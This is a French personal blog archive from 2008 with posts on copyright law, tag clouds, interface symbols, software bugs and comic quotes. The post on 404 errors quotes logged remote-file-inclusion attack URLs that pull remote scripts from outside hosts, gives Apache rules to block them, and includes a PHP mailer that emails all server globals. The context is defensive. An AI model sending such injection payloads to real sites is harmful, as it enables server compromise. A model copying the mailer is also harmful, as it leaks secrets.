Gastero Prod - Blog

Copie privée, le non droit qu'on n'a pas

Nicolas Hoizey — Fri, 04 Jul 2008 08:18:15 +0100

Le toujours excellent [1] et cryptique [2] Maître Eolas nous apprend que le droit à la copie privée n’est pas un droit, et que de toute façon on ne l’a pas, on a l’air malins !

J’avoue avoir du mal à saisir toutes ses finesses, mais j’ai au moins cru comprendre que le « droit » à la copie privée n’en est pas un, et qu’on ne l’a de toute façon pas, finalement :

[...] même avant cette loi [DADVSI], la copie privée n’a toujours été qu’une exception, une tolérance légale, à laquelle un auteur astucieux peut tout faire pour porter atteinte. Elle lui interdit juste de se plaindre quand néanmoins un tiers y arrive. Ce qu’apporte de nouveau la loi DADVSI, c’est que porter atteinte à une MTE [3] apposée sur une œuvre digitale est interdit, c’est un délit, non couvert par l’exception de copie privée.

On pourrait pas donc faire le ménage dans les lois, décrets, exceptions, etc., et repartir de zéro avec un unique texte plus clair et rétroactif ?

Non, ça ne marche pas comme ça ? Bon, tant pis...

[1] Ce sont surtout les autres qui le disent, et je l’ai même entendu dernièrement sur France Info, donc ça doit être vrai

[2] Là, c’est moi qui le dit, même si je ne regrette quand même pas de n’avoir pas été très assidu en cours de droit...

[3] NDR : Mesure Technique Efficace... oui, parce qu’ils en ont aussi essayé des inefficaces dans le passé !

Citation de Robert Hoekman, jr.

Nicolas Hoizey — Wed, 02 Jul 2008 09:31:31 +0100

The application itself is not a goal at all, it’s an obstacle between the user and their goal. [1]

[1] Traduction : « L’application n’est pas du tout un but, c’est un obstacle entre l’utilisateur et son but »

Wordle fait de jolis nuages de tags

Nicolas Hoizey — Thu, 26 Jun 2008 18:47:00 +0100

Pas mal de blogs ont déjà parlé ces derniers jours de Wordle, un service permettant de réaliser via une applet Java [1] des nuages de tags assez jolis.

Voyez par exemple celui produit par extraction automatique de mes tags del.icio.us :

Et cet autre produit avec les tags de Gastero Prod [2] :

Mais ce que je n’ai vu personne signaler, c’est qu’à part produire une image, permettant certes de réaliser de beaux t-shirts ou autres gadgets, ces nuages de tags ne peuvent malheureusement pas être utilisés sur un site pour la navigation, puisque le résultat n’est pas du tout cliquable.

Ce qui n’est bien entendu pas le cas du nuage de tags de Gastero Prod, qui n’est pourtant pas si moche non plus, par rapport à ce qu’on peut voir ailleurs :

Mise à jour du 1er juillet 2008 : Encore plus de nuages possibles :

Wordle permet maintenant d’indiquer une URL de blog ou de flux RSS, mais il semble qu’il utilise le contenu plutôt que les tags, que je mets pour ma part dans les balises <category>
Il est aussi possible d’obtenir le texte correspondant à ses tags Flickr pour le copier dans Wordle

[1] Très Web 1.0, ça !

[2] Vous noterez au passage que Wordle a le bon goût — à la différence de del.icio.us — d’accepter les tags contenant des espaces...

Les 3 Suisses mutilent leurs mannequins !

Nicolas Hoizey — Wed, 25 Jun 2008 22:10:00 +0100

C’est aujourd’hui qu’ont débuté les soldes, et j’ai décidé pour une fois d’en profiter en complétant ma garde robe, notamment avec des jeans, que je trouve incroyablement chers en temps « normal ». Je suis donc allé faire une recherche dans Google pour un Levi’s 512, et je suis tombé sur différents sites, dont celui des 3 Suisses où j’ai découvert avec horreur qu’ils ont mutilé leur mannequin.

Voici en effet la page sur laquelle je suis tombé :


Un Jean Levi’s 512 sur le site des 3 Suisses

Et regardez de plus prêt la photo, et notamment la main du mannequin :

C’est une honte de maltraiter ainsi ses mannequins !

En ergonomie, le choix des bons symboles est primordial

Nicolas Hoizey — Wed, 25 Jun 2008 13:13:55 +0100

Si vous devez opter pour des métaphores visuelles pour représenter des données ou des actions réalisables, faites bien attention à ne pas laisser d’ambiguïté possible, qui pourrait conduire à une mauvaise interprétation ou utilisation, et donc une perte de confiance de l’utilisateur.

Frédéric de Villamil cite aujourd’hui dans son blog le cas d’un triangle censé représenter le sens de tri d’une liste, dont l’interprétation qu’il fait est différente de celle faite par d’autres personnes.

Au delà du fait que je ne comprends pas la présence d’un tel élément sur un onglet [1], j’ai plutôt tendance à interpréter comme lui ce triangle, c’est à dire sa pointe indiquant le sens de tri, mais je n’appellerais pas forcément cela comme lui une lecture « logique », vu le nombre de personnes qui interprètent la chose différemment...

Il indique d’ailleurs que pour lui « une pointe vers le bas signifie [...] que le premier élément de la liste se trouve sur la première ligne », mais il ne spécifie pas ce qu’il entend par « premier élément ». Je ne pense pas que cette appellation soit adaptée, puisque pour moi le « premier élément » est bien celui de l’affichage, donc toujours en début (visuel) de la liste...

Je pense de toute façon que c’est le symbole qui est mal choisi, puisque l’on peut l’interpréter tant comme une flèche — notre interprétation à tous les deux — que comme une pyramide [2] — l’interprétation des autres. Un symbole de devrait pas être ambiguë à ce point. Ici, il faudrait — selon l’information que l’on souhaite présenter — soit une flèche clairement représentée avec un fût plus de la pointe, soit un symbole indiquant plus clairement comment est fait le tri, par exemple « A-Z » ou « 0-9 ».

J’étais tombé il y a plusieurs mois sur une initiative tentant de définir des icônes/symboles les plus simples et universels possible, mais je ne retrouve malheureusement plus le site [3].

[1] Une copie d’écran plus large donnerait peut-être plus de logique

[2] J’ai failli dire un entonnoir, mais ce symbole est plutôt réservé à la notion de filtrage

[3] A se demander à quoi servent les outils de bookmarking social !

Microsoft Office:mac 2008 a un auto update capricieux

Nicolas Hoizey — Mon, 23 Jun 2008 11:46:13 +0100

Il est parfois amusant de découvrir des bugs de logiciels, surtout s’ils n’empêchent pas de travailler et viennent de gros éditeurs dont on attendrait une qualité parfaite. C’est encore plus amusant quand le bug intervient dès le lancement du logiciel, en l’occurrence ici la mise à jour automatique de Microsoft Office:mac 2008 juste après son installation.

J’ai en effet eu l’amusante surprise de découvrir que la première chose que tente d’installer le Service Pack 1 de Microsoft Office:mac 2008, c’est AutoUpdate, dont je ne vous ferais pas l’affront de décrire la fonctionnalité :

Sauf que comme souvent, il faut fermer certaines applications pour assurer une installation sans soucis, et ici pour installer l’AutoUpdate en question, il faut arrêter... AutoUpdate !

Alors, l’œuf ou la poule ?

Citation de Les Nuls

Nicolas Hoizey — Sat, 21 Jun 2008 09:03:00 +0100

Festival de Cannes

On se fait tellement chier ici, à Cannes, que même la palme dort.

Extrait de « L’info, c’est rigolo »

Citation de Les Nuls

Nicolas Hoizey — Thu, 19 Jun 2008 09:01:00 +0100

Dans la rue

Au cours d’une manifestation, un policier a interpellé un manifestant. Ce dernier ne s’est pas retourné.

Extrait de « L’info, c’est rigolo »

Citation de Les Nuls

Nicolas Hoizey — Tue, 17 Jun 2008 08:11:00 +0100

Fatalité

Victime d’un stupide accident de la route, l’homme le plus vieux du monde vient de mourir à l’âge de 28 ans. Rappelons qu’il aurait dû avoir 143 ans en l’an 2131.

Extrait de « L’info, c’est rigolo »

Citation de Les Nuls

Nicolas Hoizey — Sun, 15 Jun 2008 08:03:00 +0100

Fait divers

Un jeune garçon de 12 ans décroche du mur du salon l’arme de son père. Un faux geste : 123 morts. L’arme, un tank, était chargée.

Extrait de « L’info, c’est rigolo »

Des jeux de bastion sur la PS3 ?

Nicolas Hoizey — Fri, 13 Jun 2008 20:30:00 +0100

Oui, oui, vous avez bien lu, c’est bien de jeux de « bastion » que je parle, le genre qui laisse imaginer des combats entre deux équipes pour conquérir le territoire de l’autre. En tout cas c’est ce que proposait le PlayStation Store lors de sa récente mise à jour...

Bon, depuis ils ont modifié, ils parlent de jeux de « baston », c’est du coup beaucoup plus classique, ça m’intéresse moins, tant pis pour l’originalité [1].

[1] Faut plutôt aller voir ici pour l’originalité, de toute façon...

Citation de Les Nuls

Nicolas Hoizey — Thu, 12 Jun 2008 10:16:00 +0100

Chômage

Chiffres catastrophiques pour le mois de septembre. Pour la seule fédération de football, on compte plus d’un million de licenciés.

Extrait de « L’info, c’est rigolo »

Les dinosaures du Web francophone sont gâteux... et je me fais (virtuellement) vieux

Nicolas Hoizey — Wed, 11 Jun 2008 20:35:00 +0100

Avec l’âge, pas d’échappatoire, on devient gâteux, et les dinosaures du Web francophone semblent déjà l’être, à ruminer collectivement sur le passé, le classique « c’était mieux avant » sur le bout de la langue. Et en plus ça sent la redite cette histoire de labellisation « dinoblogueur » !

Déjà, en juillet 2004, le même Laurent Gloaguen [1] nous proposait de participer à une petite histoire de la blogosphère [2], dans laquelle était oublié Gastero Prod.

Alors pourquoi réécrire la même histoire aujourd’hui, mais avec une terminologie différente, si ce n’est pour s’auto applaudir/féliciter/complimenter/congratuler/etc. [3] ? Parce que le prétexte du calcul d’antériorité par rapport à un tel « étalon [4] », c’est bien gentil, mais ça laisse à penser qu’avoir commencé à bloguer avant lui est un gage de qualité, alors que franchement, personne ne l’a attendu pour publier n’importe quoi sur le Web.

Mais cette nouvelle preuve de l’ethnocentrisme de la blogosphère francophone [5] est pour moi un bon prétexte de regarder aussi en arrière, et notamment me demander à nouveau ce qui permet d’identifier un blog.

Que mon premier site perso, dont la Wayback Machine de archive.org retrouve la plus vieille trace au 7 mai 1997 [6] ne puisse pas être considéré comme un blog, sachant qu’il n’y avait effectivement rien d’un journal chronologique là-dedans [7], je veux bien. La seule partie chronologique était en fait mon — lapidaire — journal d’un cinéphage, qui me permet surtout de voir jusqu’à quel point mes goûts cinématographiques ont évolué, pas franchement la matière suffisante pour un blog.


Mon site perso en 1997

Mais on peut sans doute dire que la première version de Gastero Prod, lancée sur l’hébergement gratuit de Free fin 1999 à l’adresse gasteroprod.free.fr était un blog, sachant qu’il s’agissait d’une liste anté chronologique d’articles regroupés dans des thèmes, non ? La Wayback Machine n’en a malheureusement aucune trace, il faut attendre le passage sur le domaine dédié gasteroprod.com pour qu’elle commence a en avoir une trace le 20 février 2001.


Gastero Prod en 2001

C’est donc vers fin 1999 que mon « site perso » est devenu un « blog », soit [8].

Sur la dernière version du site, j’ai ajouté des photos et des liens, et j’envisage prochainement d’ajouter une nouvelle rubrique « projets » pour mettre en avant certaines de mes réalisations en tous genres, donc peut-on encore parler d’un blog ?


Gastero Prod en 2008

Bon, de toute façon on voit bien que des dinoblogueurs bien moins anciens que moi sont plus consultés, et à raison, donc à quoi bon lutter...

[1] Ca pète grave, d’avoir une page sur soi dans Wikipedia !

[2] Où la mise en évidence colorée des types d’événement à malheureusement sauté

[3] Rayez les mentions inutiles

[4] Bin oui, furoncle était déjà pris ici...

[5] Qui ne doit rien avoir à envier à celle d’autres cultures

[6] Ce qui m’aurait clairement fait membre des dinoblogueurs, puisque j’aurais commencé au moins 6 ans, 4 mois et 22 jours avant LLM (soit LLM-2336)...

[7] Mais plein de choses délicieuses, tant niveau contenu dont ma 7ème mare aux grenouilles dédiée aux réalisateurs de cinéma français que j’aimais et aime toujours, que niveau technique comme des frames, dont certaines avec un fond dont la couleur changeait cycliquement via du JavaScript, et surtout un vrai forum, alors développé en CGI avec des scripts shell, avant l’adoption rapide de PHP et le lancement du projet libre phpMyChat...

[8] Ce qui me fait bien membre des dinoblogueurs, du coup, puisque j’ai commencé au moins 3 ans, 9 mois et 28 jours avant LLM (soit LLM-1398)...

Citation de Pierre Dac

Nicolas Hoizey — Wed, 11 Jun 2008 16:39:09 +0100

Tout corps plongé dans un flux d’emmerdements pivote de façon à lui offrir sa surface maximale.

Google s'emmêle les pinceaux

Nicolas Hoizey — Mon, 09 Jun 2008 10:50:00 +0100

En regardant les statistiques de consultation du site, et notamment les liens entrants [1], je trouve régulièrement des recherches faites sur Google qui ont conduit chez moi alors que cela n’est pas du tout pertinent. Là, Google a carrément orienté son utilisateur vers une ressource expliquant potentiellement l’inverse de ce qu’il demandait.


De dotClear vers SPIP, ou l’inverse ?

Alors, à quand une véritable analyse des requêtes des utilisateurs, plutôt qu’une simple addition des recherches des différents mots clefs ?

[1] referers en anglais

Diigo l'ultra social permet de s'ajouter comme son propre ami

Nicolas Hoizey — Sat, 07 Jun 2008 08:48:00 +0100

Diigo est le système de bookmarking social du type Blogmarks ou Del.icio.us que j’utilise maintenant, après avoir utilisé un temps chacun de ces deux derniers. Diigo leur est en effet bien supérieur sur différents aspects, mais ce n’est pas l’aspect social ici illustré qui m’a le plus convaincu de l’utiliser.

Diigo est donc un système social, et comme tout bon système social Web 2.0, il permet de gérer sa liste d’« amis », c’est à dire à peu près n’importe qui pouvant nous faire croire que l’on est important.

Et là où Diigo innove vraiment par rapport à sa nombreuse concurrence, c’est qu’il permet de s’ajouter soi-même comme ami, sans doute histoire de satisfaire même ceux qui n’arrivent désespérément pas à se trouver des amis virtuels :

Et on dira après ça que les Internautes sont refermés sur eux-mêmes, asociaux...

PicLens fonctionne maintenant sur Gastero Prod

Nicolas Hoizey — Thu, 05 Jun 2008 19:14:00 +0100

Je vous ai déjà parlé plusieurs fois de PicLens, cet outil génial de navigation dans des galeries d’images, disponible comme extension/plugin de différents navigateurs, y compris la toute dernière version 3 RC 1 de Firefox [1]. Cet outil est supporté par un certains nombre de services en ligne de partage de photos, et il est très simple de l’intégrer à son propre site, ce que j’ai fait.

Si vous n’avez pas encore installé PicLens, vous verrez par exemple ceci sur la page d’accueil de Gastero Prod :

Si par contre vous avez eu la bonne idée de l’installer, vous verrez ceci en survolant une des photos :

Cliquez sur la flèche, et vous vous retrouverez dans l’interface splendide de PicLens pour naviguer dans mes photos :


En cliquant sur la photo du site, on arrive sur la mozaïque mettant en avant la photo en question


On peut ajuster le zoom à loisir et se déplacer dans la mozaïque avec un effet 3D du plus bel effet


Et on peut mettre la photo en plein écran avec un petit carousel à la place de la mozaïque

Evidemment, c’est le genre de démonstration qui passe beaucoup mieux avec un screencast qu’avec des copies d’écrans, mais je ne suis pas encore outillé pour...

[1] Qui est presque aussi instable sur Mac OS X que la beta 5, soit dit en passant

TinEye, un système bluffant de reconnaissance d'images sur Internet

Nicolas Hoizey — Tue, 03 Jun 2008 18:44:00 +0100

Idée Inc. vient de lancer TinEye, un nouveau service en ligne de recherche d’images sur Internet, et là où les moteurs de recherche d’images traditionnels se basaient sur le nom du fichier ou le contenu des pages intégrant les images, c’est une vraie recherche par le contenu de l’image qui est proposée. j’étais légèrement dubitatif lorsque j’en ai entendu parlé pour la première fois, mais j’ai eu accès à la beta privée, et c’est réellement bluffant !

J’ai pris comme exemple cette fameuse photo de l’actrice Zhang Ziyi que tant de gens intègrent à leurs contenus directement depuis Gastero Prod :


Lune (Zhang Ziyi)

En lançant TinEye directement sur la page de mon article avec l’extension Firefox :


Lancement de la recherche

J’obtiens 13 résultats :


Premiers résultat de la recherche

Dont l’un n’est vraiment pas une simple copie ou redécoupage de la photo recherchée, mais une version légèrement altérée :


Un résultat particulièrement intéressant

TinEye permet donc une vraie recherche de photos, même légèrement altérées, et on peut notamment imaginer un jour l’utiliser si l’on est photographe pour vérifier que personne n’utilise nos photos sans autorisation...

Surveillez vos erreurs 404, elles peuvent être très instructives

Nicolas Hoizey — Mon, 02 Jun 2008 21:31:44 +0100

A l’heure où tout le monde ne jure que par l’optimisation du référencement — on dit Search Engine Optimization, ou SEO, pour faire branché — afin d’augmenter son trafic, et ainsi ses clients potentiels et/ou son revenu publicitaire, qui se soucie de vérifier ce qui se passe pour les internautes qui arrivent bien sur le site, mais sur une page qui n’existe pas, indiquée comme il se doit par une erreur HTTP 404 [1] ?

Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d’améliorations à apporter à votre site.

Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c’est d’abord de s’intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des outils Google pour les webmasters.


Erreurs 404 de Gastero Prod référencées par Google

Une autre méthode plus basique et source potentielle d’explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C’est ce que j’ai fait dans mon squelette 404.html pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d’appel :

<?php

mail('adresse@example.com',

        '[GP404] '.$_SERVER['REQUEST_URI'],

        '#URL_SITE_SPIP'.$_SERVER['REQUEST_URI']."\r\n".'User agent: '.$_SERVER['HTTP_USER_AGENT']."\r\n".'Referer: '.$_SERVER['HTTP_REFERER']."\r\n".print_r($GLOBALS, true),

        'From: adresse@example.com');

}

?>

Identifier les erreurs 404 permet d’améliorer un site sur plusieurs sujets :

La qualité du référencement

Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c’est qu’il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent :

soit par simple erreur de frappe, ce qu’un bon outil de gestion de contenus Web devrait permettre d’éviter,
soit parce que vous avez modifié vos URL, ce qu’il ne faut surtout pas faire !,
soit parce que des URL déterminées et gérées automatiquement sont mal configurées.

En observant les erreurs 404 relevées par Google, j’ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL [2] pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique blog/ et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.

Il n’y a bien entendu pas que le nettoyage des erreurs 404 qui permet d’améliorer la qualité du référencement, mais c’est un autre sujet...

Les performances, la consommation de bande passante, et donc potentiellement le coût de l’hébergement

Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu’en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.

Selon la nature de votre hébergement, cela peut avoir un impact — positif à priori — sur son coût, ce qui peut s’avérer intéressant comme motivation.

La sécurité

Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.

Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante :

http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?

En cherchant infoevent.php3 sur Google, j’ai découvert qu’il s’agit d’un script faisant justement l’objet d’une faille de sécurité de phpMyAgenda.

Comme par hasard, le client ayant fait cette requête n’est pas un navigateur traditionnel, mais s’identifie comme étant libwww-perl/5.803. C’est donc bien un programme qui tente l’attaque, sauf falsification de signature qui serait ici inepte.

Autre exemple avec cette requête :

http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?

Requête qui correspond à une faille de sécurité de Tagger LE, et qui est demandée comme par hasard aussi par un client libwww-perl/5.812 !

Dernier exemple avec cette requête :

http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??

Requête qui correspond à une faille de sécurité de phpMyChat [3], et qui est demandée comme par hasard une fois de plus par un client libwww-perl/5.805 !

Je tiens à signaler aux hackers qui me liraient que je n’utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s’adressent les autres attaques que je subi...

Faudrait-il donc refuser systématiquement toute requête signée par libwww-perl ?

En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module mod_rewrite pour Apache :

# Bloquer certaines attaques brutales pas fines

# http://www.securityfocus.com/bid/19464

RewriteCond %{QUERY_STRING} &?BBCodeFile=([^&]+)

RewriteRule tags\.php - [F,L]

# http://www.securityfocus.com/bid/29164

RewriteCond %{QUERY_STRING} &?rootagenda=([^&]+)

RewriteRule infoevent\.php3 - [F,L]

# http://osvdb.org/39224

RewriteCond %{QUERY_STRING} &?From=([^&]+)

RewriteRule users_popupL\.php3 - [F,L]

Voilà, vous êtes prévenus, n’ignorez plus vos erreurs 404, agissez !

[1] Oui, c’est la règle, mais certains ne la respectent pas, bien entendu...

[2] Oui, je sais, c’est mal, mais j’ai mis des redirections permanentes au moins, moi !

[3] Oups oups oups !

Citation de Jean Anouihl

Nicolas Hoizey — Mon, 26 May 2008 19:10:00 +0100

Ce n’est pas tout d’avoir de jolis yeux, il faut qu’une petite lampe s’allume derrière. C’est cette petite lueur qui fait la vraie beauté.